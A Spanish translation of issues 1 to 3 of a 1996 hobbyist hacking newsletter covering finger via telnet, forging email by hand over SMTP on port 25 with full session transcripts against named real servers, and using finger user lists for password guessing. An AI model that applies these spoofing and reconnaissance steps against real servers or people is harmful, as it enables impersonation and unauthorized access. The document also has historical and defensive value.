Esto es. En vez de librar guerras de hacker escalonadas que pueden terminar con gente en la cárcel, documenta tu problema con un web site y pide a aquellos que tienen el poder de acabar con estos tíos que hagan algo. Recuerda, puedes ayudar a luchar contra los tíos malos del cyberespacio mucho mejor desde tu ordenador de lo que puedas hacerlo desde una celda en la cárcel.

Nota de genio maligno: Los sintamos de ser hackeable que vemos en thttpd son la clase de desafíos intelectuales que llaman a instalar Linux en tu sistema. Una vez tengas Linux listo podrás instalar thttpd. Entonces podrás experimentar con total impunidad. Si encontrases un bug en thttpd que comprometiera seriamente la seguridad de cualquier ordenador que lo usase, entonces ¿qué haces? ¿Aniquilar los ficheros HTML de phreak.org? ¡NO! Contactas con el Computer Emergency Response Team (CERT) en http://cert.org con esta información. Mandaran una alerta. Te convertirás en un héroe y serás capaz de cobrar muchos pavos como experto en seguridad de ordenadores. Esto es mucho más divertido que ir a la cárcel. Créeme.

Bien, pues ya termino con esta columna. Espero tus contribuciones a esta lista. Pásatelo bien de vigilante y, ¡que no te pillen!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final. Para suscribirse, email [email protected] con el mensaje "subscribe hacker <[email protected]>" sustituyendo tu dirección de correo electrónico real por la de Joe Blow.

1

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Número 1 Asunto de este documento: cómo hacer finger de un usuario vía telnet. Hacking. La palabra evoca a diabólicos genios de los ordenadores conspirando la caída de la civilización mientras están sacando billones en fondos robados electrónicamente de cualquier banco. Pero yo defino hacking como una aproximación divertida y aventurada a los ordenadores. Los hackers no siguen el guión marcado. Nosotros bromeamos y probamos cosas extrañas, y cuando tropezamos con algo realmente entretenido, se lo contamos a nuestros amigos. Algunos de nosotros puede que seamos tramposos o retorcidos, pero más normalmente somos buenos chicos, o al menos inofensivos. Además, el hacking es sorprendentemente fácil. Hoy tendrás una oportunidad de comprobarlo por ti mismo! Olvidando la razón por la que quieras ser un hacker, es definitivamente un camino para tener diversión, impresionar a tus colegas, y conseguir citas. Si eres una chica-hacker, serás totalmente irresistible para todos los hombres. Cree en lo que te digo! ;^D Entonces, ¿qué necesitas para convertirte en un hacker? Antes de que te lo diga, sin embargo, voy a someterte a una prueba. ¿Has enviado alguna vez un mensaje a un newsgroup o a una lista de correo dedicada al hacking? Dijiste algo como "¿Qué necesito para convertirme en un hacker?" ¿O no? Pues mejor que no hagas *eso* ¡nunca más! Te da una idea de lo que "flame" significa, verdad? Sí, a algunos de estos tíos 311te les gusta flamear a los newbies. Ellos actúan como si hubiesen nacido sujetando un manual de UNIX en una mano y un doc sobre especificaciones TCP/IP en la otra y cualquiera que sepa menos que ellos es escoria. Newbie-Nota: 311t3, 31337, etc. , todo significa "élite". La idea es tomar la palabra "elite" o "eleet" y sustituir con números algunas o la totalidad de las letras. También nos gustan las Zs. Los hackers suelen hacer 3zta clase de c0zaz a m3nud0. Ahora puede que est‚s haciendo una verdadera llamada de ayuda. Pero hay una razón por la que muchos hackers enseguida flamean a los extraños que piden ayuda. Lo que a nosotros nos preocupa es esa clase de tíos que dicen, "Quiero ser un hacker. Pero *no* quiero tener que aprender programación y sistemas operativos. ¡Dame algún password, d00dz! Sí, y números de tarjetas de crédito!!!" Honestamente, he visto esta clase de mensajes en groups de hackers. Envía algo de eso y prepárate la mañana siguiente cuando te levantes y descubras tu buzón electrónico lleno con 3,000 mensajes desde algún grupo de discusión sobre riego en agricultura, ebanistería, coleccionismo de obras de Franklin Mint, etc., Etc., etc., etc. arrrgghhhh! La razón por la que nos preocupan los wannabe-hackers (los que quieren ser hackers) es que es posible acceder al ordenador de otras personas y hacer daños serios incluso si eres casi un total ignorante. ¿Cómo puede un newbie sin la menor idea destrozar el ordenador de otra persona? Fácil. En Internet existen Webs y FTP públicos en los que se almacenan programas de hacking. Gracias a todas esas herramientas almacenadas en esos lugares, muchos de los "hackers" sobre los que lees que son atrapados son en realidad newbies que no tienen ni puñetera idea. Este documento te enseñará cómo hacer hacking real, además de legal e inofensivo, sin tener que acudir a esas herramientas de hacking. Pero no te enseñar‚ cómo dañar ordenadores ajenos. Ni tampoco cómo entrar en lugares a los que no perteneces. Puedes-Ir-A-La-Cárcel-Nota: Incluso si no haces ningún daño, si penetras en una parte de un ordenador que no est abierta al público, has cometido un crimen. Me centraré en hacking en Internet. La razón es que cada ordenador de Internet tiene alguna clase de conexión pública con el resto de la Red. Lo que esto significa es que si usas los comandos apropiados, puedes entrar *legalmente* a estos ordenadores. Eso, por supuesto, es lo que ya haces cuando visitas un Web-site. Pero yo te enseñaré cómo acceder y usar Internet hosts de modos que la mayoría de la gente no creía que fueran posibles. Además, serán "hacks" divertidos. De hecho, pronto estarás aprendiendo trucos que arrojarán algo de luz sobre cómo otra gente puede acceder a partes no-públicas de hosts. Y serán trucos que cualquiera puede hacer. Pero hay una cosa que realmente necesitarás conseguir. Te hará el hacking infinitamente más fácil: UNA CUENTA SHELL!!!! Una "cuenta shell" es una cuenta en Internet por la que tu ordenador se convierte en un terminal de uno de los hosts de tu PSI (Proveedor de Servicios de Internet). Una vez que estés en la "shell" puedes darle comandos al sistema operativo Unix justo como si estuvieses sentado delante de uno de los hosts de tu PSI. Cuidado: el personal técnico de tu PSI puede decirte que tienes una "cuenta shell" cuando en realidad no la tienes. A muchos PSIs no les gustan las cuentas shell. Te preguntas ¿por qué? Si no tienes una cuenta shell, no puedes hackear! Pero puedes averiguar fácilmente si se trata de una cuenta shell. Primero, debes usar un programa de "emulación de terminal" para hacer log (identificarte). Necesitarás un programa que te permita emulación de terminal VT100. Si tienes Windows 3.1 o Windows 95, un programa de terminal VT100 se incluye en los programas de accesorios. Cualquier PSI medianamente bueno te permitirá unos días de prueba con una cuenta guest. Consigue una y entonces prueba unos cuantos comandos Unix para asegurarte de que realmente se trata de una cuenta shell.

2 No conoces el Unix? Si eres serio (o quieres serlo) sobre la comprensión del hacking, necesitar s buenos libros de referencia. No, no me estoy refiriendo a esos con un título tan apasionado como "Secretos del Super Hacker". He comprado muchos de esos libros. Est n llenos de aire caliente y poca información práctica. Los hackers serios estudian libros sobre:  Unix. A mí me gusta "The Unix Companion" de Harley Hahn.  Shells. Recomiendo "Learning the Bash Shell" de Cameron Newham y Bill Rosenblatt. "Shell" es el interfaz de comandos entre el sistema operativo Unix y t£.  TCP/IP, que es la serie de protocolos que hacen que Internet funcione. Me gusta "TCP/IP for Dummies" de Marshall Wilensky y Candace Leiden. OK, la prueba ha finalizado. Es hora de hackear! ¿Cómo te gustaría empezar tu carrera de hacking con uno de los más simples aunque potencialmente peligrosos hacks de Internet? Aquí viene: hacer telnet a un puerto finger. ¿Has usado alguna vez el comando finger antes? Finger te dará en algunas ocasiones un buen montón de cosas sobre otra gente en Internet. Normalmente sólo tienes que teclear el comando: finger [email protected] Pero en lugar de la de Joe Schmoe, tienes que poner la dirección de email de alguien del que quieras conocer información. Por ejemplo, mi dirección de correo electrónico es [email protected]. Para hacerme finger a mí, hay que teclear: finger [email protected] A continuación este comando puede que te diga algo, o puede fallar dándote un mensaje como "acceso denegado". Pero hay un modo de hacer finger que gusta más a la élite. Puedes teclear el comando: telnet llama.swcp.com 79 Lo que acaba de hacer este comando es dejarte entrar en un ordenador que tiene como dirección de Internet llama.swcp.com a través de su puerto 79 (sin tener que dar un password). Pero el programa que llama y muchos otros hosts de Internet utilizan te permitirá introducir UN solo comando antes de cerrar automáticamente la conexión. Teclea el comando: cmeinel Esto te dirá un secreto de hacker sobre por qué el puerto 79 y sus programas finger son más importantes de lo que en un principio podías imaginar. O, coño, puede que sea algo más si la amable vecindad hacker está todavía sembrando hirientes en mis archivos. Ahora, para un bonus-hacking extra, prueba a hacer telnet por otros puertos. Por ejemplo: telnet kitsune.swcp.com 13 Eso te dará la hora y la fecha en Nuevo México, y: telnet.slug.swcp.com 19 Hará que pases un rato divertido! OK, me despido ya por este documento. Y prometo decirte más sobre el gran asunto que es hacer telnet para usar el finger, pero más tarde. Feliz Hacking!

3

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol.1 N£mero 2 En este documento vamos a aprender cómo divertirnos con el email (y como detectar diversiones de otros ;) ). Lo prometo, este hack es espectacularmente fácil! Hacking Heroico en media hora ¿Cuánto te gustaría dejar alucinados a tus amigos? OK, ¿qué cosa crees que es la que mas hasta las narices están de hacer los superhackers? La respuesta es conseguir acceso no autorizado a un ordenador, correcto? Entonces ¿cuánto te gustaría ser capaz de obtener acceso y hacer funcionar un programa en alguno de los millones de ordenadores conectados a Internet? Te gustaría acceder a estos ordenadores de Internet casi igual que al m s notable hacker de la historia: Robert Morris! Fue su "Morris Worm" ("Gusano de Morris") el que derribó Internet en 1990. Por supuesto, el fallo que el aprovechó para llenar el 10% de los ordenadores en Internet con su auto-mailing virus ha sido arreglado ya, por lo menos en la gran mayoría de los hosts. Pero incluso ahora Internet todavía guarda toneladas de diversión, juegos y bugs escondidos en su interior. De hecho, lo que estamos a punto de aprender es el primer paso de varios de los modos más comunes que utilizan los hackers para entrar en áreas privadas de ordenadores. Pero yo no voy a enseñarte a acceder a zonas privadas de ordenadores. Suena demasiado asqueroso. Además, soy alérgico a la cárcel. Por lo tanto, lo que estás a punto de aprender es legal, inofensivo, e incluso tremendamente divertido. No hacen falta juramentos de sangre entre tú y tus colegas para no testificar que has hackeado eso, sencillamente es legal. Pero, para hacer este hack necesitas un servicio online que te permita hacer telnet por un puerto específico a un host de Internet. Netcom, por ejemplo, te dejará hacer esto sin problemas. Pero Compuserve, America Online y muchos otros PSIs (Proveedores de Servicios de Internet) son digamos como grandes niñeras que te apartarán de la tentación de hacer esto. El mejor camino para hacer este truco es con una CUENTA SHELL! Si no tienes una, consíguela ya! Nota-para-el-Newbie #1; Una cuenta shell es una cuenta Internet que te permite utilizar comandos Unix. El Unix es muy parecido al DOS. Hay un prompt en tu pantalla y tienes que teclear los comandos. El Unix es el lenguaje de Internet. Si quieres ser un hacker serio, tienes que aprender Unix. Incluso si nunca has usado telnet antes, este hack es super simple. De hecho, incluso aunque lo que vas a aprender parezca hacking de la clase más heroica, puedes dominarlo en media hora o menos. Y sólo necesitas memorizar *dos* comandos. Para averiguar si tu Proveedor de Servicios de Internet te permite hacer el truco, prueba este comando: telnet callisto.unm.edu 25 Es un ordenador de la universidad de Nuevo México. Mi cuenta Compuserve empieza a echar humo cuando pruebo esto. Simplemente me echa fuera de telnet diciéndome poco más que "tsk, tsk". Pero al menos hoy Netcom me permitirá utilizar ese comando. Y sólo con cualquier "cuenta shell" barata ofrecida por cualquier PSI podrás utilizarlo. Muchas cuentas de institutos de secundaria y universidades te dejarán también hacerlo sin problemas. Nota-para-el-Newbie #2: Cómo Conseguir Cuentas Shell Prueba en las páginas amarillas del teléfono, en el apartado Internet. Llama y pregunta por "cuenta shell". Seguramente te dirán: "Seguro, no hay problema." Pero cientos de veces están mintiendo. Piensan que eres demasiado estúpido como para saber qué es una cuenta shell real. O puede que la infra-pagada persona con la que hablas no tenga ni idea. El modo de solucionar esto es preguntar por una cuenta guest temporal (gratis). Cualquier PSI medianamente decente te dará un periodo de prueba. Cuando la tengas intenta hacer lo que aquí se explica. OK, demos por hecho que posees una cuenta que te permite hacer telnet a algún sitio serio. Volvamos al comando de antes: telnet callisto.unm.edu 25 Si has hecho telnet alguna vez, probablemente pusiste el nombre del ordenador que planeabas visitar, pero no añadiste ningún número detrás. Pues resulta que esos números detrás son los causantes de la primera distinción entre el bondadoso y aburrido ciudadano de Internet y alguien descendiendo por la resbaladiza (y emocionante) pendiente del hackeo. Lo que ese 25 significa es que estás ordenando a telnet a llevarte a un puerto específico de la víctima deseada, er, su ordenador. Nota-para-el-Newbie #3: Puertos Un puerto de ordenador es un lugar donde la información entra y sale de él. En el ordenador que tienes en casa, ejemplos de puertos son tu monitor, que manda información hacia afuera (output), tu teclado y el ratón, que mandan información hacia adentro (input), y tu módem, que envía información en ambos sentidos.

4 Pero un ordenador host de Internet como callisto.unm.edu tiene muchos más puertos que un típico ordenador casero. Estos puertos están identificados por números. En este caso no todos son puertos físicos, como un teclado o un puerto de serie RS232 (el de tu módem). Aquí son puertos virtuales (de software). Pero ese puerto 25 oculta diversión en su interior. Diversión increíble. Verás, en cualquier momento que hagas telnet al puerto 25 de un ordenador, obtendrás uno de estos dos resultados: una vez durante algún tiempo, un mensaje diciendo "acceso denegado" como cuando atacas un firewall. Pero, m s fácilmente verás algo como esto: Trying 129.24.96.10... Connected to callisto.unm.edu. Escape character is `^]ï. 220 callisto.unm.edu Smail3.1.28.1 #41 ready at Fri, 12 Jul 96 12:17 MDT Hey, échale un vistazo a eso! No nos pide que hagamos log (identificarnos). Sólo dice...preparado! Nota que est usando Smail3.1.28.1, un programa usado para redactar y enviar correo electrónico. Oh dios mío, ¿qué hacemos ahora? Bueno, si realmente quieres parecer sofisticado, la siguiente cosa que tienes que hacer es pedirle a callisto.unm.edu que te diga qué comandos puedes usar. En general, cuando accedes a un ordenador extraño, como mínimo uno de tres comandos te ofrecerán información: "help", "?" o "man". En este caso tecleo: help ...y esto es lo que obtengo: 250 Los siguientes comandos SMTP son reconocidos: 250 250 HELO hostname arranca y te da tu hostname 250 MAIL FROM:<sender access> comienza una transmisión desde el "enviante" 250 RCPT TO: llama al destinatario para un mensaje 250 VRFY
verifica el reparto de email de una dirección 250 EXPN
expande la dirección de una lista de correo 250 DATA comienza a mostrar el texto de un mensaje de correo 250 RSET hace un reset, interrumpe la transmisión 250 NOOP no hace nada 250 DEBUG [level] fija el nivel de debugging, por defecto 1 250 HELP produce este mensaje de ayuda 250 QUIT cierra la conexión SMTP La secuencia normal de las acciones para enviar mensajes es fijar la dirección a la que se envía con un comando MAIL FROM, mandar al destinatario todos los comandos RCPT TO que sean requeridos (una dirección por comando) y entonces especificar el texto del mensaje del mensaje después del comando DATA. Pueden utilizarse mensajes múltiples. Para finalizar teclear QUIT. Obtener esta lista de comandos es bastante agradable. Te hace sentir realmente bien porque sabes cómo hacer que el ordenador te diga cómo hackearlo. Y eso significa que todo lo que tienes que memorizar es "telnet 25" y los comandos de "ayuda". Para el resto, puedes simplemente teclearlos y ver qué ocurre cuando estás conectado. Incluso si tu memoria es tan mala como la mía, te aseguro que puedes aprender y memorizar este hack en sólo media hora. Joder, puede que hasta en medio minuto. OK, entonces ¿qué hacemos con estos comandos? S¡, lo adivinaste, este es un programa de email muy primitivo. ¿Y puedes adivinar cómo utilizarlo sin tener que hacer log? Te preguntas por qué fue ese el punto débil que permitió a Robert Morris reventar Internet. El puerto 25 mueve el email desde un nodo al siguiente a través de Internet. Automáticamente recoge el email entrante y si ese email no pertenece a nadie que posea un dirección de correo en ese ordenador, lo manda al siguiente ordenador en la red, para dirigirse hacia la persona a la que pertenece esa dirección de correo. En ocasiones el email irá directamente desde el remitente al destinatario, pero si tu mandas un mensaje a alguien que esté demasiado lejos o si Internet está colapsada por el tráfico en ese momento, puede ser que el email pase a través de varios ordenadores. Existen millones de ordenadores en Internet que envían correo electrónico. Y tu puedes acceder a casi cualquiera de ellos sin necesidad de un password! Es más, como pronto aprenderás, es fácil obtener las direcciones de estos millones de ordenadores. Algunos de estos ordenadores tienen un buen sistema de seguridad, dificultando que nos podamos divertir con ellos. Pero otros tienen mucha menos seguridad. Uno de los juegos del hacking es explorar estos ordenadores para encontrar cuales de ellos se adaptan a nuestros deseos. OK, entonces ahora que estamos en el país del Morris Worm, qu‚ podemos hacer? Bueno, esto es lo que yo hice. (Mis comandos no tenían ningún número delante, lo que sucede es que la respuesta de los ordenadores va precedida de números.) helo [email protected] 250 callisto.unm.edu Hello [email protected] mail from: [email protected] 250 <[email protected]> ...Sender Okay rcpt to: [email protected] 250 ...Recipient Okay data 354 Introduzca el mensaje, termine con "." en una línea solo

5 Funciona!!! . 250 Mail aceptado Lo que ha pasado aquí es que me mandé un email falso a mí mismo. Ahora echemos un vistazo a lo que tengo en mi buzón, mostrando el encabezamiento completo: Esto es lo que obtuve usando la versión freeware de Eudora: X POP3 Rcpt: cmeinel@socrates Esta línea nos dice que X-POP3 es el programa de mi PSI que recibió mi email, y que mi email entrante es manejado por el ordenador Socrates. Consejo de Endiablado Ingenio: el email entrante est manejado por el puerto 110. Prueba a hacer telnet por ahí algún día. Pero normalmente POP, el programa que funciona en el 110, no te ofrecerá comandos de ayuda y te echará sin contemplaciones al más mínimo movimiento en falso. Return Path (camino de retorno): <[email protected]> Esta línea de arriba es mi dirección de correo falsa. Apparently From: [email protected] Fecha: Fri, 12 Jul 96 12:18 MDT Pero nota que las líneas de encabezamiento arriba dicen "Apparently-From" ("Aparentemente-Desde"). Esto es importante porque me advierte que es una dirección falsa. Apparently To: [email protected] X Status: Funciona!!! En esto hay una cosa interesante. Diferentes programas de correo mostrarán diferentes encabezamientos. Por ello lo bueno que sea tu correo falso depender en parte del programa de correo que sea utilizado para leerlo. Esto es lo que Pine, un programa de email que funciona en sistemas Unix, muestra con el mismo email de antes: Return Path: <[email protected]> Recibido: from callisto.unm.edu by nmia.com with smtp (Linux Smail3.1.28.1 #4) id m0uemp4 000LFGC; Fri, 12 Jul 96 12:20 MDT Esto identifica al ordenador en el que usé el programa de envío de correo. También dice qué versión del programa estaba utilizando. Apparently From: [email protected] Y aquí está el mensaje "Aparentemente-Desde" otra vez. Como vemos tanto Pine como Eudora nos comunican que esto es email falso. Recibido: from [email protected] by callisto.unm.edu with smtp (Smail3.1.28.1 #41) id m0uemnL 0000HFC; Fri, 12 Jul 96 12:18 MDT Id del mensaje: <m0uemnL [email protected]> ¡Oh, oh! No sólo muestra que probablemente se trate de email falso, también enseña un ID del mensaje! Esto significa que en algún sitio en Callisto habrá un registro de los mensajes-IDs diciendo quién ha usado el puerto 25 y el programa de correo. Como ves, cada vez que alguien accede al puerto 25 de ese ordenador, su dirección de correo se almacena en el registro junto al ID de su mensaje. Fecha: Fri, 12 Jul 96 12:18 MDT Apparently From: [email protected] Apparently To: [email protected] Funciona!!! Si alguien fuese a usar este programa de email para propósitos viles, ese mensaje-ID ser¡a lo que pondría a los polis o vigilantes detrás suya. Por lo tanto, si quieres falsear el email, ser más difícil hacerlo para alguien que est‚ usando Pine que para otro que utilice la versión freeware de Eudora (puedes sabes qué programa de email usa una persona simplemente mirando el encabezamiento del email). Pero los programas de email de los puertos 25 de muchos Internet hosts no est n tan bien defendidos como callisto.unm.edu. Algunos tienen más seguridad, y algunos otros no tienen sistemas de defensa en absoluto. De hecho, es posible que algunos de ellos incluso ni tengan un registro de los usuarios del puerto 25, haciéndolos un blanco fácil para cualquiera con ganas de diversión (con propósitos perversos o no). Sólo porque obtengas correo con los encabezamientos en buen estado (o que parezcan correctos) no significa que sea original o verdadero. Necesitas algún sistema de verificación encriptada para estar casi seguro que el email es correcto (es decir, que no ha sido falseado). Nota-Puedes-Ir-A-La-Cárcel: si estas tramando utilizar email falso (falsificado o con dirección falsa) para cometer un crimen, párate a pensar lo que vas a hacer. Si estás leyendo este documento es porque todavía no sabes lo suficiente como para falsificar el email lo suficientemente bien como para evitar tu arresto. Aquí tenemos un ejemplo de un programa de email distinto, sendmail. Esto te dará una idea de las pequeñas variaciones con las que te encontrarás cuando intentes este hack.

6 Este es el comando que yo introduzco: telnet ns.Interlink.Net 25 El ordenador responde: Trying 198.168.73.8... Conectado a NS.INTERLINK.NET. Escape character is `^]ï. 220 InterLink.NET Sendmail AIX 3.2/UCB 5.64/4.03 ready at Fri 12 Jul 1996 15:45 Entonces yo tecleo: helo [email protected] Y el ordenador responde: 250 InterLink.NET Hello [email protected] (plato.nmia.com) ¡Oh, oh! Esta versión de sendmail no es tonta del todo! Mira como pone (plato.nmia.com) (el ordenador que yo estaba usando para este hack) sólo para hacerme saber que sabe el ordenador desde el que estoy haciendo telnet. Pero qué coño, todos los Internet hosts saben esa clase de informaci¢n. Mandar‚ correo falso de algún modo. De nuevo, lo que yo escribo no tiene números delante, mientras que las respuestas del ordenador están precedidas por el número 250: mail from: [email protected] 250 [email protected]... Sender is valid (el remitente es válido) rcpt to: [email protected] 250 [email protected]... Recipient is valid (destinatario válido) data 354 Introduzca el mensaje. Termine con el carácter "." en una línea solo Esto es el texto . 250 Ok quit 221 InterLink.NET: cerrando conexión. OK, ¿qué clase de email generó ese ordenador? Esto es lo que obtuve usando Pine: Return Path: <[email protected]> Recibido: desde InterLink.NET by nmia.com with smtp (Linux Smail3.1.28.1 #4) id m0ueo7t 000LEKC; Fri, 12 jul 96 13:43 MDT Recibido: desde plato.nmia.com by InterLink.NET (AIX 3.2/UCB 5.64/4.03) id AA23900; Fri 12 Jul 1996 15:43:20 0400 Uups. Aquí el ordenador de InterLink.NET ha revelado el ordenador en el que yo estaba cuando hice telnet por su puerto 25. Sin embargo, mucha gente usa ese ordenador que funciona de Internet host. Fecha: Fri 12 Jul 1996 15:43:20 0400 Desde: [email protected] Mensaje-ID: <[email protected]> Apparently To: [email protected] Este es el texto OK, aquí no dice "Apparently-From" por ello ahora sé que el ordenador ns.interlink.Net es uno bastante seguro para poder enviar mis mensajes de correo falsificado desde él (digamos como intermediario, para entendernos). Un experimentado aficionado del email sabría por la línea "Recibido:..." si se trata de correo falsificado. Voy a intentar con otro ordenador. La Universidad de California en Berkeley es famosa por su investigación en ciencias de la computación. Me pregunto... ¿cómo serán sus hosts? Habiendo hallado primero la dirección numérica de Internet de una de estas máquinas (su IP), tecleo el comando: telnet 128.32.152.164 25 Y te responde: Trying 128.32.152.164... Conectado a 128.32.152.164. Escape character is `^]ï. 220 remarque.berkeley.edu ESMTP Sendmail 8.7.3/1.31 ready at Thu, 11 Jul 1996 12 Ahora tecleo: help Y su respuesta es: 214 Esta es la versión de Sendmail 8.7.3 214 Comandos: 214 HELO EHLO MAIL RCPT DATA

7 214 RSET NOOP QUIT HELP VRFY 214 EXPN VERB 214 Para más información use "HELP ". 214 Para informar sobre bugs existentes en la implementación mandar email a: 214 [email protected] 214 Para información local mandar email al Postmaster de tu site. 214 Fin de la información HELP ¡Oh, tío, un programa de sendmail ligeramente diferente! Me pregunto qué m s me dirá sobre estos comandos. HELP mail 214 MAIL FROM 214 Especifica el remitente 214 Fin de la información HELP ¡Gran j***da cosa esta! Bueno, veamos qué hace este ordenador ante el correo falsificado (ahora sabemos el nombre del ordenador, "remarque"). MAIL FROM: [email protected] 250 [email protected]... Sender ok (remitente correcto) Heeeyyyyy.... esto es interesante... No dije "helo" y este programa de sendmail no me echo a la calle! Me pregunto qué significa eso... RCPT TO: [email protected] 250 Recipient ok (destinatario correcto) DATA 354 Introduzca el mensaje, termine con un "." solo en una l¡nea Esto es correo falsificado en un ordenador de Berkeley para el que no tengo un password. . 250 MAA23472 Mensaje aceptado para ser enviado quit 221 remarque.berkeley.edu cerrando conexión. Ahora usamos Pine para ver qué aparece en los encabezamientos: Return Path: <[email protected]> Recibido: from nmia.com by nmia.com with smtp (Linux Sendmail3.1.28.1 #4) id m0ue RnW 000LGiC; Thu, 11 Jul 96 13:53 MDT Recibido: from remarque.berkeley.edu by nmia.com with smtp (Linux Sendmail3.1.28.1 #4) id m0ue RnV 000LGhC; Thu, 11 Jul 96 13:53 MDT Apparently To: Recibido: from merde.dis.org by remarque.berkeley.edu (8.7.3/1.31) id MAA23472; Thu , 11 jul 1996 12:49:56 0700 (PDT) Mira los tres mensajes "Recibido:". Mi ordenador PSI recibió este email no directamente de Remarque.berkeley.edu sino de merde.dis.com, quien a su vez lo recibió de Remarque. Hey, yo sé quién es el dueño de merde.dis.org! Berkeley envió el email falso a través del host del ordenador del famoso experto en seguridad Pete Shipley! Nota: el nombre "merde" es una broma, así como "dis.org". Ahora veamos el aspecto del email enviado desde Remarque. Usemos Pine otra vez: Fecha: Thu, 11 Jul 1996 12:49:56 0700 (PDT) Desde: [email protected] Mensaje-ID: <[email protected]> Esto es correo falsificado en un ordenador de Berkeley para el que no tengo password Hey, esto es bastante guay. No nos avisa de que la dirección de Santa es falsa! Todavía mejor, guarda en secreto el nombre del ordenador original (del mío jejeje): plato.nmia.com. De este modo remarque.berkeley.edu fue realmente un buen ordenador desde el que enviar correo falso. (Nota: la última vez que probé, ya habían arreglado este agujero en Remarque, o sea que no te molestes en hacer telnet allí.) Pero no todos los programas de sendmail son tan fáciles para falsear email. ¡Observa el email que creé desde atropos.c2.org! telnet atropos.c2.org 25 Trying 140.174.185.14... Conectado a atropos.c2.org. Escape character is `^]ï. 220 atropos.c2.org ESMTP Sendmail 8.7.4/CSUA ready at Fri 12 Jul 96 15:41:33 help

8 502 Sendmail 8.7.4 Comando HELP no implementado ¡Caramba!, ¿estás cachondo hoy, eh?.... Qué coño, tiremos p'lante de algún modo... helo [email protected] 501 Nombre de dominio no válido Hey, qué pasa contigo, cacho perro? A otros programas de sendmail no les importa el nombre que use con "helo". OK, OK, te daré un nombre de dominio válido, pero no un nombre de usuario válido, hohoho! helo [email protected] 250 atropos.c2.org Hello [email protected] {198.59.166.165} encantado de conocerte. Muuuyyyy divertido, tío. Apostaría a que seguro que estás encantado de conocerme. ¿Por qué #$%& me pides un nombre de dominio válido si sabías ya quién era? mail from: [email protected] 250 [email protected]... Sender ok rcpt to: [email protected] 250 Recipient ok data 354 Introduzca el texto del mensaje, termine con "." solo en una línea Oh, mierda! . 250 PAA13437 Mensaje aceptado para ser enviado quit 221 atropos.c2.org cerrando conexión. OK, ¿qué clase de email habrá generado ese repugnante programa de sendmail? Voy corriendo a Pine y echo un vistazo: Return Path: <[email protected]> Bueno, qué bonito que me deje usar mi dirección falsa. Recibido: from atropos.c2.org by nmia.com with smtp (Linux Sendmail3.1.28.1 #4) id m0ueqxh 000LD9C; fri 12 Jul 1996 16:45 MDT Apparently To: Recibido: desde santa.unm.edu ([email protected] [198.59.166.165]) Oh, verdaderamente especial! No sólo el ordenador artropos.c2.org revela mi verdadera identidad, también revela lo de santa.unm.edu. Mierda... Me servirá de lección. by artropos.c2.org (8.7.4/CSUA) with SMTP id PAA13437 for [email protected]; Fecha: Fri, 12 Jul 1996 15:44:37 0700 (PDT) Desde: [email protected] Mensaje-ID: <[email protected]> Oh, mierda! Por ello, la moraleja de este hack es que hay montones de diferentes programas de email flotando en el puerto 25 de los Internet hosts. Si quieres divertirte con ellos, es una buena idea hacerles una prueba antes de usarlos para presumir después, ¿ok?

9

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol 1. N£mero 3 Cómo puede ser usado finger para acceder a partes privadas de un Internet host. Antes de que te excites demasiado al leer cómo usar el finger para acceder a un Internet host, por favor que todos los agentes de la ley que haya por ahí que se relajen. No voy a dar instrucciones paso a paso. Ciertamente no voy a sacar trozos de código de todos esos programas que cualquier newbie tiene almacenados en su disco duro y que sirven para acceder ilegalmente a algunos hosts. Lo que estás apunto de leer son algunos principios y técnicas básicas en el cracking con finger. De hecho, algunas de éstas técnicas son divertidas y legales mientras no sean llevadas demasiado lejos. Y además pueden darte consejos sobre cómo hacer que tu Internet host sea más seguro. También puedes usar esta información para convertirte en un cracker. Tuya es la decisión. Si es así, ten en cuenta lo divertido de ser la "novia" de un compañero de celda llamado "Spike", por ejemplo. Nota-Para-El-Newbie #1: Mucha gente da por hecho que "hacking" y "cracking" son sinónimos. Pero "cracking" es conseguir acceso ilegalmente en un ordenador. "Hacking" es el universo repleto de todas las cosas divertidas que uno puede hacer con los ordenadores, sin necesidad de quebrantar la ley o causar daño. ¿Qué es finger? Es un programa que funciona en los puertos 79 de muchos Internet hosts. Normalmente su misión es ofrecer información sobre los usuarios de un ordenador determinado. Para repasar, analicemos el virtuoso pero aburrido modo en que ordenamos a nuestro host que nos ofrezca información usando el comando finger: finger [email protected] Esto hace telnet al puerto 79 en el host boring.ISP.net. Coge lo que haya en los archivos .plan y .project relativo a Joe Blow y te lo muestra en tu monitor. Pero lo que haría el Feliz Hacker es primero hacer telnet a boring.ISP.net por el puerto 79, desde el cual podemos entonces utilizar el programa finger: telnet boring.ISP.net 79 Si eres un ciudadano de Internet honrado entonces teclea el comando: Joe_Blow o también puede ser el comando: finger Joe_Blow Esto debería darte los mismos resultados que si sólo estuvieras en tu propio ordenador y dieses el comando "finger [email protected]." Pero para un cracker, hay montones y montones de cosas que probar después de conseguir el control del programa finger de boring.ISP.net haciendo telnet en el puerto 79. Ah, pero si no me acordé de enseñar cómo hacer maldades. Cubriremos aspectos generales de cómo finger es usado para acceder a boring.ISP.net. También aprenderás algunas cosas perfectamente legales que puedes intentar que finger haga. Por ejemplo, algunos programas finger responderán al comando: [email protected] Si por casualidad te topas con un programa de finger lo suficientemente viejo o confiado como para aceptar este comando, obtendrás algo como esto: [boring.ISP.net] Login Name TTY Idle When Where happy Prof. Foobar co 1d Wed 08:00 boring.ISP.net Esto te dice que sólo un tío est registrado, y que no est haciendo nada. Esto significa que si alguien se las arreglara para penetrar, nadie sería capaz de notarlo, al menos nadie de lejos. Otro comando al que un puerto finger puede ser que responda es simplemente: finger Si este comando funciona, te dará una lista completa de los usuarios de ese host. Estos nombres de usuario pueden ser por ello utilizados para saltarse un password. A veces un sistema no pondrá objeciones a pesar de lo lamer que sea el password utilizado. Hábitos comunes de lamers a la hora de elegir passwords es no usar no usar ninguno, el mismo password que el nombre del usuario, el primer nombre del usuario o su apellido, y "guest" ("cliente"). Si lo anterior no le funciona al cracker, hay un montón de programas circulando por ah¡ que prueban cada palabra del diccionario y cada nombre de la típica guía telefónica. Newbie-Nota #2: ¿Es fácil de crackear tu password? Si tienes una cuenta shell, puedes modificarlo con el comando: passwd Elige tu password que no esté en el diccionario o en la guía telefónica, y que sea como mínimo de 6 caracteres de largo e incluya algunos caracteres que no sean letras del alfabeto.

